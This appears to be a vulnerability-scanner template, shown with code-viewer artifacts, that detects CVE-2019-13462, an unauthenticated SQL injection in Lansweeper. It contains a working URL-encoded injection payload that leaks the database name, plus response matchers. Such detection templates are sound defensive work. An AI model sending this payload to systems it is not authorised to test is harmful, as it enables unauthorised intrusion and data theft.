32 lines
1.1 KiB
YAML
32 lines
1.1 KiB
YAML
|
id: CVE-2019-13462
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Lansweeper through 7.1.115.4 unauthenticated SQL injection
|
||
|
|
author: divya_mudgal
|
||
|
|
severity: critical
|
||
|
|
reference: https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
|
||
|
|
description: Lansweeper web application through 7.1.115.4 allows unauthenticated SQL injection via the "row" and "column" GET parameter to the /WidgetHandler.ashx?MethodName=Sort&ID=1&column=INJECTION&row=INJECTION URI.
|
||
|
|
tags: cve,cve2019,sqli,lansweeper
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
words:
|
||
|
|
- "~lansweeperdb~"
|
||
|
|
part: body
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
words:
|
||
|
|
- text/plain
|
||
|
|
part: header
|
||
|
|
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 500
|